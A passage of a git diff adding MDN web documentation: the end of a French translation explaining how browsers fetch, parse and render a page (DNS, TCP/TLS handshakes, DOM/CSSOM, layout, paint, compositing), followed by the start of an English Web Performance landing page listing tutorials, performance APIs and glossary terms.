+<p>Votre navigateur demande une recherche DNS, qui est éventuellement effectuée par un serveur de noms, qui lui-même répond avec une adresse IP. Après cette demande initiale, l'adresse IP sera probablement mise en cache pendant un certain temps, ce qui accélérera les demandes suivantes en récupérant l'adresse IP du cache au lieu de contacter à nouveau un serveur de noms.&lt;</p>
+
+<p>Les recherches DNS ne doivent généralement être effectuées qu'une fois par nom d'hôte pour le chargement d'une page. Cependant, des recherches DNS doivent être effectuées pour chaque nom d'hôte unique référencé par la page demandée.</p>
+
+<p>Si vos fichier de police, images, scripts, publicites/annonces et métriques ont tous un nom d'hôte différent, une recherche DNS devra être effectuée pour chacun d'eux.</p>
+
+<p><img alt="Mobile requests go first to the cell tower, then to a central phone company computer before being sent to the internet" src="https://mdn.mozillademos.org/files/16743/latency.jpg" style="height: 281px; width: 792px;"></p>
+
+<p>Cela peut être problématique pour les performances, en particulier sur les réseaux mobiles. Lorsqu'un utilisateur est sur un réseau mobile, chaque recherche DNS doit aller du téléphone à la tour cellulaire pour atteindre un serveur DNS faisant autorité. La distance entre un téléphone, une tour de téléphonie cellulaire et le serveur de noms peut ajouter une latence significative.</p>
+
+<h3 id="TCP_Handshake">TCP Handshake</h3>
+
+<p>Une fois que l'adresse IP est connue, le navigateur établit une connexion avec le serveur via un {{glossary('TCP handshake','négociation de liaison TCP à trois voies')}}. TCe mécanisme est conçu pour que deux entités essayant de communiquer, dans ce cas le navigateur et le serveur Web, puissent négocier les paramètres de la connexion de socket TCP sur le réseau avant de transmettre des données, souvent sur {{glossary('HTTPS')}}.</p>
+
+<p>La technique de négociation à trois voies de TCP est souvent appelée "SYN-SYN-ACK", ou plus précisément SYN, SYN-ACK, ACK, car trois messages sont transmis par TCP pour négocier et démarrer une session TCP entre deux ordinateurs. Oui, cela signifie trois messages supplémentaires entre chaque serveur et la demande doit encore être faite.</p>
+
+<h3 id="Negotiation_TLS">Negotiation TLS</h3>
+
+<p>Pour les connexions sécurisées établies via HTTPS, une autre "liaison" est requise. Cette négociation, ou plutôt la négociation {{glossary('TLS')}}, détermine quel chiffrement sera utilisé pour chiffrer la communication, vérifie le serveur et établit qu'une connexion sécurisée est en place avant de commencer le transfert effectif des données. Cela nécessite encore trois allers-retours vers le serveur avant que la demande de contenu ne soit réellement envoyée.</p>
+
+<p><img alt="The DNS lookup, the TCP handshake, and 5 steps of the TLS handshake including clienthello, serverhello and certificate, clientkey and finished for both server and client." src="https://mdn.mozillademos.org/files/16746/ssl.jpg" style="height: 412px; width: 729px;"></p>
+
+<p>Bien que sécuriser la connexion ajoute du temps au chargement de la page, une connexion sécurisée vaut la dépense en latence, car les données transmises entre le navigateur et le serveur Web ne peuvent pas être déchiffrées par un tiers.</p>
+
+<p>Après les 8 allers-retours, le navigateur est enfin en mesure de faire la demande.</p>
+
+<h2 id="Response">Response</h2>
+
+<p>Une fois la connexion établie avec un serveur Web établie, le navigateur envoie une <a href="/fr/docs/Web/HTTP/M%C3%A9thode">demande HTTP <code>GET</code></a> initiale au nom de l'utilisateur, qui pour les sites Web est le plus souvent un fichier HTML. Dès que le serveur reçoit la demande, il répond avec les en-têtes de réponse pertinents et le contenu du code HTML.</p>
+
+<pre class="brush: html">&lt;!doctype HTML&gt;
+&lt;html lang="fr"&gt;
+ &lt;head&gt;
+  &lt;meta charset="UTF-8"/&gt;
+  &lt;title&gt;Une page simple&lt;/title&gt;
+  &lt;link rel="stylesheet" src="styles.css"/&gt;
+  &lt;script src="monscript.js"&gt;&lt;/script&gt;
+&lt;/head&gt;
+&lt;body&gt;
+  &lt;h1 class="heading"&gt;Ma Page&lt;/h1&gt;
+  &lt;p&gt;Un paragraph avec in &lt;a href="https://example.com/about"&gt;lien&lt;/a&gt;&lt;/p&gt;
+  &lt;div&gt;
+    &lt;img src="monImage.jpg" alt="description de l'image"/&gt;
+  &lt;/div&gt;
+  &lt;script src="unautrescript.js"&gt;&lt;/script&gt;
+&lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<p>La réponse pour cette demande initiale contient le premier octet de données reçu. {{glossary('Time to First Byte')}} (TTFB) est le temps écoulé entre le moment où l'utilisateur a fait la demande (disons en cliquant sur un lien) et la réception du premier paquet HTML. Le premier bloc de contenu est généralement constitué de 14 Kb de données.</p>
+
+<p>Dans notre exemple ci-dessus, la demande est nettement inférieure à 14 Kb, mais les ressources liées ne sont pas demandées tant que le navigateur n'a pas rencontré les liens lors de l'analyse, décrit ci-dessous.</p>
+
+<h3 id="TCP_Slow_Start_14kb_rule">TCP Slow Start / 14kb rule</h3>
+
+<p>Le premier paquet de réponse sera de 14 Kb. Cela fait partie de {{glossary('TCP slow start')}}, un algorithme qui équilibre la vitesse d'une connexion réseau. Le démarrage lent augmente progressivement la quantité de données transmises jusqu'à ce que la bande passante maximale du réseau puisse être déterminée.</p>
+
+<p>Avec un {{glossary('TCP slow start')}}, après la réception du paquet initial, le serveur double la taille du paquet suivant, pour atteindre environ 28 Kb. La taille des paquets suivants augmente jusqu'à atteindre un seuil prédéterminé ou jusqu'à ce qu'un encombrement se produise.</p>
+
+<p><img alt="TCP slow start" src="https://mdn.mozillademos.org/files/16754/congestioncontrol.jpg" style="height: 412px; width: 729px;"></p>
+
+<p>Si vous avez déjà entendu parler de la règle de 14 Kb pour le chargement de page initial, c'est le démarrage lent de TCP qui explique pourquoi la réponse initiale est de 14 Ko et pourquoi l'optimisation des performances Web appelle à l'optimisation de la focalisation avec cette réponse initiale à l'esprit. Le démarrage lent TCP augmente progressivement les vitesses de transmission en fonction des capacités du réseau afin d'éviter les encombrements.</p>
+
+<h3 id="Contrôle_congestion">Contrôle congestion</h3>
+
+<p>Lorsque le serveur envoie des données sous forme de paquets TCP, le client de l'utilisateur confirme la livraison en renvoyant des accusés de réception, ou ACK. La connexion a une capacité limitée en fonction des conditions matérielles et du réseau. Si le serveur envoie trop de paquets trop rapidement, ils seront supprimés. Sens, il n'y aura pas de reconnaissance. Le serveur l'enregistre comme ACK manquant. Les algorithmes de contrôle d'encombrement utilisent ce flux de paquets envoyés et d'accusés de réception pour déterminer un débit d'envoi.</p>
+
+<h2 id="Parsing">Parsing</h2>
+
+<p>Une fois que le navigateur a reçu le premier bloc de données, il peut commencer à analyser les informations reçues. L'analyse, our {{glossary('speculative parsing', 'parsing')}}, est l'étape par laquelle le navigateur prend pour transformer les données qu'il reçoit sur le réseau en {{glossary('DOM')}} et {{glossary('CSSOM' )}}, qui est utilisé par le moteur de rendu pour peindre une page à l'écran.</p>
+
+<p>Le DOM est la représentation interne du balisage pour le navigateur. Le DOM est également exposé et peut être manipulé via diverses API en JavaScript.</p>
+
+<p>Même si le code HTML de la page de demande est plus volumineux que le paquet initial de 14 Kb, le navigateur commencera à analyser et à tenter de restituer une expérience en fonction des données dont il dispose. C'est pourquoi il est important pour l'optimisation des performances Web d'inclure tout ce dont le navigateur a besoin pour commencer le rendu d'une page, ou du moins d'un modèle de page - les CSS et HTML nécessaires au premier rendu - dans les 14 premiers kilo-octets. Mais avant que tout ne soit rendu à l'écran, le HTML, CSS et JavaScript doivent être analysés.</p>
+
+<h3 id="Building_the_DOM_tree">Building the DOM tree</h3>
+
+<p>Nous décrivons cinq étapes dans le chemin de rendu critique, ou "<a href="/en-US/docs/Web/Performance/Critical_rendering_path">critical rendering path</a>".</p>
+
+<p>La première étape consiste à traiter le balisage HTML et à créer l'arborescence DOM. L'analyse HTML implique la création de jetons, <a href="/en-US/docs/Web/API/DOMTokenList">tokenization,</a> et la construction du DOM tree. Les jetons HTML incluent les balises de début et de fin, ainsi que les noms et les valeurs des attributs. Si le document est bien formé, son analyse est simple et rapide. L'analyseur analyse les entrées sous forme de jetons dans le document, créant ainsi le document tree.</p>
+
+<p>Le DOM tree décrit le contenu du document. L'élément <code><a href="/fr/docs/Web/HTML/Element/html">&lt;html&gt;</a></code> est la première balise et le premier nœud racine de du document tree. L'arbre reflète les relations et les hiérarchies entre différentes balises. Les balises imbriquées dans d'autres balises sont des nœuds enfants. Plus le nombre de nœuds DOM est élevé, le plus de temps ca prends pour construire le DOM tree.</p>
+
+<p><img alt="The DOM tree for our sample code, showing all the nodes, including text nodes." src="https://mdn.mozillademos.org/files/16759/DOM.gif" style="height: 689px; width: 754px;"></p>
+
+<p>Lorsque l'analyseur trouve des ressources non bloquantes, telles qu'une image, le navigateur demande ces ressources et poursuit l'analyse. L'analyse peut continuer lorsqu'un fichier CSS est rencontré, mais les balises <code>&lt;script&gt;</code>, en particulier celles sans attribut <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/async_function">async</a></code> ou <code>defer</code>, bloquent le rendu et mettent en pause l'analyse du code HTML. Bien que le scanner de précharge du navigateur accélère ce processus, le nombre excessif de scripts peut toujours constituer un goulot d'étranglement important.</p>
+
+<h3 id="Preload_scanner">Preload scanner</h3>
+
+<p>Pendant que le navigateur construit le DOM tree, ce processus occupe le thread principal. Dans ce cas, le scanner de préchargement analysera le contenu disponible et demandera des ressources hautement prioritaires telles que CSS, JavaScript et les polices. Grâce à l'analyseur de précharge, il n'est pas nécessaire d'attendre que l'analyseur trouve une référence à une ressource externe pour la demander. Il récupérera les ressources en arrière-plan, de sorte qu'au moment où l'analyseur HTML principal atteindra les actifs demandés, il se peut qu'ils soient déjà en vol ou aient été téléchargés. Les optimisations fournies par le scanner de précharge permettent de réduire les blocages.</p>
+
+<pre class="brush:html">&lt;link rel="stylesheet" src="styles.css"/&gt;
+&lt;script src="myscript.js" <strong>async</strong>&gt;&lt;/script&gt;
+&lt;img src="monImage.jpg" alt="description de l'image"/&gt;
+&lt;script src="unautrescript.js" <strong>async</strong>&gt;&lt;/script&gt;
+</pre>
+
+<p>Dans cet exemple, alors que le fil principal analyse HTML et CSS, le scanner de préchargement trouvera les scripts et l'image, et commencera également à les télécharger. Pour vous assurer que le script ne bloque pas le processus, ajoutez l'attribut <code>async</code> ou <code>defer</code> si l'analyse et l'exécution de JavaScript ne sont pas importantes.</p>
+
+<p>L’attente pour obtenir CSS ne bloque pas l’analyse ou le téléchargement HTML, mais bloque JavaScript, car JavaScript est souvent utilisé pour rechercher l’impact des propriétés CSS sur les éléments.</p>
+
+<h3 id="Construction_du_CSSOM">Construction du CSSOM</h3>
+
+<p>La deuxième étape du chemin de rendu critique est le traitement de CSS et la construction du CSSOM. Le modèle d'objet CSS est similaire au DOM. Les DOM et CSSOM sont deux arbres. Ce sont des structures de données indépendantes. Le navigateur convertit les règles CSS en une carte de styles qu'il peut comprendre et utiliser. Le navigateur passe en revue chaque ensemble de règles de la feuille de style CSS, créant ainsi une arbre de noeuds avec des relations parent, enfant et sœurs basées sur les sélecteurs CSS.</p>
+
+<p>Comme avec HTML, le navigateur doit convertir les règles CSS reçues en quelque chose avec lequel il peut travailler. Par conséquent, il répète le processus HTML-à-object, mais pour le CSS.</p>
+
+<p>L'arbre CSSOM comprend les styles du stylesheet de l'agent utilisateur. Le navigateur commence par la règle la plus générale applicable à un nœud et affine de manière récursive les styles calculés en appliquant des règles plus spécifiques. En d'autres termes, il cascade les valeurs de propriété.</p>
+
+<p>La construction du CSSOM est très, très rapide et n’est pas affiché dans une couleur unique dans les outils de développement actuels. Le "Style recalculé" dans les outils de développement indique le temps total nécessaire à l'analyse CSS, à la construction du CSSOM et au calcul récursif des styles calculés. En ce qui concerne l’optimisation des performances Web, l’effet de l’effort d’optimisation de la construction CSSOM crée sont minimes, car le temps total nécessaire pour créer le CSSOM est généralement inférieur au temps requis pour une recherche DNS.</p>
+
+<h3 id="Autres_Processus">Autres Processus</h3>
+
+<h4 id="Compilation_JavaScript">Compilation JavaScript</h4>
+
+<p>Lors de l’analyse du CSS et de la création du CSSOM, d’autres ressources, notamment des fichiers JavaScript, sont en cours de téléchargement (grâce au scanner de préchargement). JavaScript est interprété, compilé, analysé et exécuté. Les scripts sont analysés dans des arbres à syntaxe abstraite. Certains moteurs de navigateur utilisent le {{glossary('Abstract Syntax Tree','Arbre de syntaxe abstraite')}} et le transmettent à un interpréteur, générant le code binaire exécuté sur le thread principal. Ceci est connu sous le nom de compilation JavaScript.</p>
+
+<h4 id="Construire_l'arbre_d'accessibilité">Construire l'arbre d'accessibilité</h4>
+
+<p>Le navigateur crée également une arbre d'<a href="/fr/docs/Apprendre/a11y">accessibilité</a> que les périphériques d'assistance utilisent pour analyser et interpréter le contenu. Le modèle d'objet d'accessibilité (AOM) est comme une version sémantique du DOM. Le navigateur met à jour l'arbre d'accessibilité lorsque le DOM est mis à jour. L'arbre d'accessibilité n'est pas modifiable par les technologies d'assistance elles-mêmes.</p>
+
+<p>Jusqu'à la construction de l'AOM, le contenu n'est pas accessible aux <a href="/fr/docs/Accessibilit%C3%A9/ARIA/FAQ_Applications_Web_et_ARIA">lecteurs d'écran</a>.</p>
+
+<h2 id="Rendre">Rendre</h2>
+
+<p>Les étapes de rendu incluent le style, la mise en page, la peinture et, dans certains cas, la composition. Les arbres CSSOM et DOM créés à l'étape d'analyse sont combinés en un arbre de rendu qui est ensuite utilisé pour calculer la mise en page de chaque élément visible, qui est ensuite peint à l'écran. Dans certains cas, le contenu peut être promu dans ses propres couches et composé, ce qui améliore les performances en peignant des parties de l'écran sur le GPU au lieu du CPU, libérant ainsi le thread principal.</p>
+
+<h3 id="Style">Style</h3>
+
+<p>La troisième étape du chemin de rendu critique consiste à combiner le DOM et CSSOM dans une arborescence de rendu. La construction de l'arbre de style calculé ou de l'arbre de rendu commence à la racine de l'arborescence DOM, en traversant chaque nœud visible.</p>
+
+<p>Les balises qui ne vont pas être affichées, telles que <code><a href="/fr/docs/Web/HTML/Element/head">&lt;head&gt;</a></code> et ses enfants, ainsi que tous les nœuds avec <code>display: none</code>, tel que le <code>script { display: none;</code><code>}</code> vous trouverez dans les feuilles de style de l'agent utilisateur, ne sont pas inclus dans l'arborescence de rendu car ils n'apparaîtront pas dans la sortie rendue. Les nœuds avec <code>visibility: hidden</code> appliqué sont inclus dans l'arborescence de rendu, car ils occupent de l'espace. Comme nous n'avons donné aucune directive pour remplacer la valeur par défaut de l'agent utilisateur, le noeud de <code>script</code> de notre exemple de code ci-dessus ne sera pas inclus dans l'arbre de rendu.</p>
+
+<p>Les règles CSSOM sont appliquées à chaque nœud visible. L'arborescence de rendu contient tous les nœuds visibles avec le contenu et les styles calculés - en faisant correspondre tous les styles pertinents à chaque nœud visible du DOM tree et en déterminant, en fonction de la cascade CSS, les styles calculés pour chaque nœud.</p>
+
+<h3 id="Disposition">Disposition</h3>
+
+<p>La quatrième étape du chemin de rendu critique consiste à exécuter la disposition sur l’arbre de rendu pour calculer la géométrie de chaque noeud.</p>
+
+<p>La disposition est le processus par lequel la largeur, la hauteur et l'emplacement de tous les noeuds de l'arbre de rendu sont déterminés, ainsi que la détermination de la taille et de la position de chaque objet sur la page. La redistribution correspond à toute détermination ultérieure de la taille et de la position d'une partie de la page ou du document dans son ensemble.</p>
+
+<p>Une fois que l'arborescence de rendu est construite, la mise en page commence. L'arbre de rendu identifiait les nœuds affichés (même s'ils étaient invisibles) avec leurs styles calculés, mais pas les dimensions ou l'emplacement de chaque nœud. Pour déterminer la taille et l'emplacement exact de chaque objet, le navigateur commence à la racine de l'arbre de rendu et le traverse.</p>
+
+<p>Sur la page Web, presque tout est une boîte. Différents périphériques et différentes préférences de bureau signifient un nombre illimité de tailles de fenêtres d'affichage différentes. Au cours de cette phase, prenant en compte la taille de la fenêtre d'affichage, le navigateur détermine les dimensions de toutes les différentes boîtes à l'écran. En prenant la taille de la fenêtre comme base, la présentation commence généralement par le corps, elle présente les dimensions de tous les descendants du corps, ainsi que les propriétés du modèle de boîte de chaque élément, offrant ainsi un espace réservé aux éléments remplacés dont il ne connaît pas les dimensions: comme notre image.</p>
+
+<p>La première fois que la taille et la position des nœuds sont déterminées est appelée "mise en page", ou <em lang="en">layout</em>. Les recalculs ultérieurs de la taille et des emplacements des noeuds sont appelés redistributions, ou <em lang="en">reflows</em>. Dans notre exemple, supposons que la mise en page initiale se produise avant que l'image ne soit renvoyée. Comme nous n’avons pas déclaré la taille de notre image, il y aura un reflow une fois que la taille de l’image est connue.</p>
+
+<h3 id="Peindre">Peindre</h3>
+
+<p>La dernière étape du chemin de rendu critique consiste à peindre les nœuds individuels à l'écran, la première occurrence étant appelée la première peinture significative, ou <em lang="en">first meaningful paint</em>.</p>
+
+<p>Lors de la phase de peinture ou de rastérisation, le navigateur convertit chaque case calculée lors de la phase de mise en page en pixels réels à l'écran. La peinture implique de dessiner chaque partie visuelle d'un élément sur l'écran, y compris le texte, les couleurs, les bordures, les ombres et les éléments remplacés, comme les boutons et les images. Le navigateur doit faire cela très rapidement.</p>
+
+<p>Pour assurer un défilement et une animation fluides, tout ce qui occupe le fil principal, y compris le calcul des styles, ainsi que le redistribution et la peinture, doit nécessiter moins de 16,67ms de navigateur.</p>
+
+<p>À 2048 X 1536, l’iPad a plus de 3 145 000 pixels à peindre à l’écran. C'est beaucoup de pixels qui doivent être peints très rapidement. Afin de pouvoir repeindre même plus rapidement que la peinture initiale, le dessin à l'écran est généralement divisé en plusieurs couches, ou <em lang="en">layers</em>. Si cela se produit, la composition est nécessaire.</p>
+
+<p>La peinture peut diviser les éléments de l’arborescence en couches. La promotion du contenu en couches sur le GPU (au lieu du thread principal sur le CPU) améliore la performances de la peinture originale et chaque la performances de repeinte supplémentaire.</p>
+
+<p>Il existe des propriétés et des éléments spécifiques qui instancient un calque, notamment <code>&lt;video&gt;</code> et <code>&lt;canvas&gt;</code>, ainsi que tout élément possédant les propriétés CSS d'<a href="/fr/docs/Web/CSS/opacity">opacité</a>, de <a href="/fr/docs/Web/CSS/CSS_Transforms">transformation 3D</a>, de et de plusieurs valeur de <code><a href="/fr/docs/Web/CSS/will-change">will-change</a></code>, <code><a href="/fr/docs/Web/CSS/isolation">isolation</a></code> et <code><a href="/fr/docs/Web/CSS/contain">contain</a></code>. Ces nœuds seront peints sur leur propre calque, avec leurs descendants, à moins qu'un descendant ne nécessite son propre calque pour une (ou plusieurs) des raisons ci-dessus.</p>
+
+<p>Les couches améliorent les performances, mais sont coûteuses en termes de gestion de la mémoire et ne doivent donc pas être utilisées de manière excessive dans les stratégies d'optimisation des performances Web.</p>
+
+<h3 id="Composition">Composition</h3>
+
+<p>Lorsque des sections du document sont dessinées dans différentes couches se chevauchant, la composition est nécessaire pour garantir qu'elles sont dessinées à l'écran dans le bon ordre et que le contenu est restitué correctement.</p>
+
+<p>Si la page continue de charger des ressources, des retraits peuvent se produire (rappelez-vous notre exemple d'image arrivé en retard). Un reflux déclenche un repeinte et un recomposition. Si nous avions défini la taille de notre image, aucune refusion n'aurait été nécessaire, et seule la couche à repeindre serait repeinte et composée si nécessaire. Mais nous n'avons pas inclus la taille de l'image! Lorsque l'image est obtenue à partir du serveur, le processus de rendu reprend les étapes de la mise en page et redémarre à partir de là.</p>
+
+<h2 id="L'interactivité">L'interactivité</h2>
+
+<p>Une fois que le fil principal est terminé, on pourrait penser que nous serions "tout prêt". Ce n'est pas nécessairement le cas. Si le chargement inclut JavaScript, correctement différé et exécuté uniquement après le déclenchement de l'événement <a href="/fr/docs/Web/API/GlobalEventHandlers/onload">onload</a>, le thread principal est peut-être occupé et indisponible pour les interactions de défilement, tactiles et autres.</p>
+
+<p>{{glossary('Time to Interactive')}} (TTI) est la mesure du temps qu'il a fallu à cette première demande pour aboutir à la recherche DNS et à la connexion SSL lorsque la page est interactive - interactif étant le point dans le temps après le {{glossary('First Contentful Paint')}} lorsque la page répond aux interactions de l'utilisateur dans un délai de 50 ms. Si le thread principal est occupé à analyser, compiler et exécuter JavaScript, il n'est pas disponible et ne peut donc pas répondre aux interactions de l'utilisateur dans les meilleurs délais (moins de 50 ms).</p>
+
+<p>Dans notre exemple, l'image a peut-être été chargée rapidement, mais le fichier <code>unautrescript.js</code> faisait 2 MB et la connexion réseau de notre utilisateur était lente. Dans ce cas, l'utilisateur verrait la page très rapidement, mais ne pourrait pas faire défiler sans jank jusqu'à ce que le script soit téléchargé, analysé et exécuté. Ce n'est pas une bonne expérience utilisateur. Évitez d’occuper le fil principal, comme illustré dans cet exemple <a href="https://webpagetest.org">WebPageTest</a>:</p>
+
+<p><img alt="The main thread is occupied by the downloading, parsing and execution of a  javascript file - over a fast connection" src="https://mdn.mozillademos.org/files/16760/visa_network.png" style="height: 699px; width: 1200px;"></p>
+
+<p>Dans cet exemple, le processus de chargement du contenu du DOM a duré plus de 1,5 seconde et le thread principal a été entièrement occupé pendant tout ce temps, ne répondant pas pour cliquer sur des événements ou sur des taps à l'écran.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/Guide/Performance">Web Performance</a></li>
+</ul>
diff --git a/files/fr/web/performance/index.html b/files/fr/web/performance/index.html
new file mode 100644
index 0000000000..fd6b475f7b
--- /dev/null
+++ b/files/fr/web/performance/index.html
@@ -0,0 +1,285 @@
+---
+title: Web Performance
+slug: Web/Performance
+translation_of: Web/Performance
+---
+<div class="blockIndicator note">
+<p>Translation in progress</p>
+</div>
+
+<p><span class="seoSummary">Web performance is the objective measurements and the perceived user experience of load time and runtime. Web performance is how long a site takes to load, become interactive and responsive, and how smooth the content is during user interactions </span>- is the scrolling smooth? are buttons clickable? Are pop-ups quick to load and display, and do they animate smoothly as they do so? Web performance includes both objective measurements like time to load, frames per second, and time to become interactive, and subjective experiences of how long it felt like it took the content to load.</p>
+
+<p>The longer it takes for a site to respond, the more users will abandon the site. It is important to minimize the loading and response times and add additional features to conceal latency by making the experience as available and interactive as possible, as soon as possible, while asynchronously loading in the longer tail parts of the experience.</p>
+
+<p>There are tools, APIs, and best practices that help us measure and improve web performance. We cover them in this section:</p>
+
+<h2 id="In_this_section">In this section</h2>
+
+<p>{{LandingPageListSubpages}}</p>
+
+<div class="cleared topicpage-table">
+<div class="section">
+<h2 id="Selected_tutorials">Selected tutorials</h2>
+
+<p>The MDN <a href="/en-US/docs/Learn/Performance">Web Performance Learning Area</a> contains modern, up-to-date tutorials covering Performance essentials:</p>
+
+<dl>
+ <dt><a href="/en-US/docs/Learn/Performance/What_is_web_performance">What is web performance</a></dt>
+ <dd>This article starts the module off with a good look at what Performance actually is — this includes the tools, metrics, APIs, networks, and groups of people we need to consider when thinking about performance, and how we can make Performance part of our web development workflow.</dd>
+ <dt><a href="/en-US/docs/Learn/Performance/web_performance_basics">Web Performance Basics</a></dt>
+ <dd>In addition to the front-end components of HTML, CSS, JavaScript, and media files, there are features that can make applications slower and features that can make applications subjectively and objectively faster. There are many APIs, Developer Tools, best practices and bad practices relating to web performance. Here we'll introduce many of these features at the basic level and provide links to deeper dives to improve performance for each topic.</dd>
+ <dt><a href="/en-US/docs/Learn/Performance/perceived_performance">How do users perceive performance?</a></dt>
+ <dd>
+ <p>More important than how fast your website is in milliseconds, is how fast do your users perceive your site to be. Page load time, idling, responsiveness to user interaction, and the smoothness of scrolling and other animations impact these perceptions. In this article, we discuss the various loading metrics, animation, and responsiveness metrics, along with best practices to improve user perception, if not the actual timings themselves.</p>
+ </dd>
+ <dt><a href="/en-US/docs/Learn/Performance/Multimedia">Multimedia: Images and Video</a></dt>
+ <dd>Frequently, media optimization is the lowest hanging fruit of web performance. Serving different media files based on each user agent's capability, size and pixel density is possible. Additional tips, like removing audio tracks from background images, can improve performance even further. In this article, we discuss the impact video, audio, and image content has on performance, and the methods to ensure that impact is as minimal as possible.</dd>
+ <dt><a href="/en-US/docs/Learn/Performance/CSS_performance">CSS performance features</a></dt>
+ <dd>CSS may be a less important optimization focus for improved performance, but there are some CSS features that impact performance more than others. In this article, we look at some CSS properties that impact performance and suggested ways of handling styles to ensure performance is not negatively impacted.</dd>
+</dl>
+
+<dl>
+</dl>
+</div>
+
+<div class="section">
+<h2 class="Other_documentation" id="Other_documentation" name="Other_documentation">Using Performance APIs</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/API/Performance_API/Using_the_Performance_API">Performance API</a></dt>
+ <dd>This guide describes how to use the <a href="https://developer.mozilla.org/en-US/docs/Web/API/Performance" title="The Performance interface provides access to performance-related information for the current page. It's part of the High Resolution Time API, but is enhanced by the Performance Timeline API, the Navigation Timing API, the User Timing API, and the Resource Timing API."><code>Performance</code></a> interfaces that are defined in the <a class="external external-icon" href="https://w3c.github.io/hr-time/" rel="noopener">High-Resolution Time</a> standard.</dd>
+ <dt><a href="/en-US/docs/Web/API/Resource_Timing_API/Using_the_Resource_Timing_API">Resource Timing API</a></dt>
+ <dd><a href="/en-US/docs/Web/API/Resource_Timing_API">Resource loading and timing</a> the loading of those resources, including managing the resource buffer and coping with CORS</dd>
+ <dt><a href="/en-US/docs/Web/API/Performance_Timeline/Using_Performance_Timeline">The performance timeline</a></dt>
+ <dd>The <a href="/en-US/docs/Web/API/Performance_Timeline">Performance Timeline</a> standard defines extensions to the <a href="https://developer.mozilla.org/en-US/docs/Web/API/Performance" title="The Performance interface provides access to performance-related information for the current page. It's part of the High Resolution Time API, but is enhanced by the Performance Timeline API, the Navigation Timing API, the User Timing API, and the Resource Timing API."><code>Performance</code></a> interface to support client-side latency measurements within applications. Together, these interfaces can be used to help identify an application's performance bottlenecks.</dd>
+ <dt><a href="/en-US/docs/Web/API/User_Timing_API/Using_the_User_Timing_API">User Timing API</a></dt>
+ <dd>Create application specific timestamps using the <a href="/en-US/docs/Web/API/User_Timing_API">user timing API</a>'s "mark" and "measure" entry types - that are part of the browser's performance timeline.</dd>
+ <dt><a href="/en-US/docs/Web/API/Frame_Timing_API/Using_the_Frame_Timing_API">Frame Timing API</a></dt>
+ <dd>The <code><a href="/en-US/docs/Web/API/PerformanceFrameTiming">PerformanceFrameTiming</a></code> interface provides <em>frame</em> timing data about the browser's event loop.</dd>
+ <dt><a href="/en-US/docs/Web/API/Beacon_API/Using_the_Beacon_API">Beacon API</a></dt>
+ <dd><small>The <a href="/en-US/docs/Web/API/Beacon_API">Beacon</a> interface schedules an asynchronous and non-blocking request to a web server.</small></dd>
+ <dt><a href="/en-US/docs/Web/API/Intersection_Observer_API/Timing_element_visibility">Intersection Observer API</a></dt>
+ <dd>Learn to time element visibility with the <a href="https://developer.mozilla.org/en-US/docs/Web/API/Intersection_Observer_API">Intersection Observer API</a> and be asynchronously notified when elements of interest becomes visible.</dd>
+</dl>
+
+<h2 class="Other_documentation" id="Other_documentation" name="Other_documentation">Other documentation</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Tools/Performance">Developer Tools Performance Features</a></dt>
+ <dd>This section provides information on how to use and understand the performance features in your developer tools, including <a href="/en-US/docs/Tools/Performance/Waterfall">Waterfall</a>, <a href="/en-US/docs/Tools/Performance/Call_Tree">Call Tree</a>, and <a href="/en-US/docs/Tools/Performance/Flame_Chart">Flame Charts</a>.</dd>
+ <dt><a href="/en-US/docs/Learn/Performance/Understanding_latency">Understanding Latency</a></dt>
+ <dd>Latency is the amount of time it takes between the browser making a request for a resource, and the browser receiving back the first byte of the resource requested. This article explains what latency is, how it impacts performance, how to measure latency, and how to reduce it.</dd>
+</dl>
+</div>
+</div>
+
+<h2 id="Glossary_Terms">Glossary Terms</h2>
+
+<div class="index">
+<ul class="index">
+ <li>{{glossary('Beacon')}}</li>
+ <li>{{glossary('Brotli compression')}}</li>
+ <li>{{glossary('Client hints')}}</li>
+ <li>{{glossary('Code splitting')}}</li>
+ <li>{{glossary('CSSOM')}}</li>
+ <li>{{glossary('Domain sharding')}}</li>
+ <li>{{glossary('Effective connection type')}}</li>
+ <li>{{glossary('First contentful paint')}}</li>
+ <li>{{glossary('First CPU idle')}}</li>
+ <li>{{glossary('First input delay')}}</li>
+ <li>{{glossary('First interactive')}}</li>
+ <li>{{glossary('First meaningful paint')}}</li>
+ <li>{{glossary('First paint')}}</li>
+ <li>{{glossary('HTTP')}}</li>
+ <li>{{glossary('HTTP_2', 'HTTP/2')}}</li>
+ <li>{{glossary('Jank')}}</li>
+ <li>{{glossary('Latency')}}</li>
+ <li>{{glossary('Lazy load')}}</li>
+ <li>{{glossary('Long task')}}</li>
+ <li>{{glossary('Lossless compression')}}</li>
+ <li>{{glossary('Lossy compression')}}</li>
+ <li>{{glossary('Main thread')}}</li>
+ <li>{{glossary('Minification')}}</li>
+ <li>{{glossary('Network throttling')}}</li>
+ <li>{{glossary('Packet')}}</li>
+ <li>{{glossary('Page load time')}}</li>
+ <li>{{glossary('Page prediction')}}</li>
+ <li>{{glossary('Parse')}}</li>
+ <li>{{glossary('Perceived performance')}}</li>
+ <li>{{glossary('Prefetch')}}</li>
+ <li>{{glossary('Prerender')}}</li>
+ <li>{{glossary('QUIC')}}</li>
+ <li>{{glossary('RAIL')}}</li>
+ <li>{{glossary('Real User Monitoring')}}</li>
+ <li>{{glossary('Resource Timing')}}</li>
+ <li>{{glossary('Round Trip Time (RTT)')}}</li>
+ <li>{{glossary('Server Timing')}}</li>
+ <li>{{glossary('Speculative parsing')}}</li>
+ <li>{{glossary('Speed index')}}</li>
+ <li>{{glossary('SSL')}}</li>
+ <li>{{glossary('Synthetic monitoring')}}</li>
+ <li>{{glossary('TCP handshake')}}</li>
+ <li>{{glossary('TCP slow start')}}</li>
+ <li>{{glossary('Time to first byte')}}</li>
+ <li>{{glossary('Time to interactive')}}</li>
+ <li>{{glossary('TLS')}}</li>
+ <li>{{glossary('TCP', 'Transmission Control Protocol (TCP)')}}</li>
+ <li>{{glossary('Tree shaking')}}</li>
+ <li>{{glossary('Web performance')}}</li>
+</ul>
+</div>
+
+<h2 id="Documents_yet_to_be_written">Documents yet to be written</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Learn/Performance/JavaScript">JavaScript performance best practices</a></dt>
